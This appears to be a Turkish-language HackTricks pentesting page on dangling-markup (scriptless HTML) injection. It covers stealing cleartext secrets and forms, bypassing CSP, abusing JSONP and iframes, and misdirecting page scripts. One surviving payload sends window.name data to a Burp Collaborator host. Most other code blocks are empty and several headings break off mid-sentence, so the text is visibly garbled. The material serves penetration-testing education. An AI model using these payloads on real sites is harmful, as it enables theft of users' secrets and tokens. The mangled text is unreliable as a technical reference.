# Dangling Markup - HTML scriptless injection
{{#include ../../banners/hacktricks-training.md}}
## Özgeçmiş
Bu teknik, bir **HTML enjeksiyonu bulunduğunda** bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Bu, **bir XSS** [**saldırısı**](../xss-cross-site-scripting/index.html) gerçekleştirmek için herhangi bir yol bulamazsanız ve **bazı HTML etiketleri** enjekte edebiliyorsanız çok faydalıdır.\
Ayrıca, HTML'de **açık metin olarak saklanan bazı sırlar** varsa ve bunları istemciden **sızdırmak** istiyorsanız veya bazı script yürütmelerini yanıltmak istiyorsanız da faydalıdır.
Burada yorumlanan birkaç teknik, bilgiyi beklenmedik yollarla (html etiketleri, CSS, http-meta etiketleri, formlar, base...) sızdırarak bazı [**İçerik Güvenlik Politikası**](../content-security-policy-csp-bypass/index.html) engellerini aşmak için kullanılabilir.
## Ana Uygulamalar
### Açık metin sırlarını çalmak
Sayfa yüklendiğinde `@import//hackvertor.co.uk? <--- Injected
steal me!;
```
**`
test
```
### Formları Çalmak
```html
```
Sonra, verileri yola gönderen formlar (örneğin `
```
### Noscript aracılığıyla açık metin sırlarını çalmak
`` Tarayıcının javascript'i desteklemediği durumlarda içeriği yorumlanacak bir etikettir (Javascript'i Chrome'da [chrome://settings/content/javascript](chrome://settings/content/javascript) adresinden etkinleştirebilir/devre dışı bırakabilirsiniz).
Saldırganın kontrolündeki bir siteye, enjeksiyon noktasından sayfanın altına kadar içeriği dışarı aktarmanın bir yolu, bunu enjekte etmektir:
```html
```
### Kullanıcı Etkileşimi ile CSP'yi Aşma
Bu [portswiggers araştırmasından](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) öğrenebilirsiniz ki, **en kısıtlayıcı CSP** ortamlarından bile bazı **kullanıcı etkileşimleri** ile **veri sızdırmak** mümkündür. Bu durumda kullanacağımız payload:
```html
You must click me
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
```
### Yanıltıcı script iş akışı 1 - HTML ad alanı saldırısı
HTML içinde bir id ile yeni bir etiket ekleyin, bu etiket bir sonraki etiketi geçersiz kılacak ve bir scriptin akışını etkileyecek bir değere sahip olacak. Bu örnekte, bir bilginin kiminle paylaşılacağını seçiyorsunuz:
```html
← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
```
### Yanıltıcı script iş akışı 2 - Script ad alanı saldırısı
HTML etiketleri ekleyerek javascript ad alanında değişkenler oluşturun. Ardından, bu değişken uygulamanın akışını etkileyecektir:
```html
← Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }
```
### JSONP'nin Suistimali
Eğer bir JSONP arayüzü bulursanız, rastgele bir fonksiyonu rastgele verilerle çağırma imkanınız olabilir:
```html
```
### Iframe istismarı
Bir çocuk belge, ebeveyninin `location` özelliğini görüntüleme ve değiştirme yeteneğine sahiptir, hatta çapraz köken durumlarında bile. Bu, bir **iframe** içinde, istemciyi keyfi bir sayfaya yönlendirebilen bir script yerleştirilmesine olanak tanır:
```html
```
Bu, `sandbox=' allow-scripts allow-top-navigation'` gibi bir şeyle hafifletilebilir.
Bir iframe, **iframe ad özniteliğini** kullanarak farklı bir sayfadan hassas bilgileri sızdırmak için de kötüye kullanılabilir. Bunun nedeni, kendisini iframe'leyen bir iframe oluşturabilmenizdir; bu, **hassas bilgilerin iframe ad özniteliği içinde görünmesini** sağlayan HTML enjeksiyonunu kötüye kullanır ve ardından bu adı başlangıç iframe'inden erişip sızdırabilirsiniz.
```html
```
For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
### \` veya bir yönlendirme yapmak (bu durumda 5 saniye içinde): ``
Bu, **http-equiv** ile ilgili bir **CSP** ile **önlenebilir** ( `Content-Security-Policy: default-src 'self';`, veya `Content-Security-Policy: http-equiv 'self';`)
### Yeni \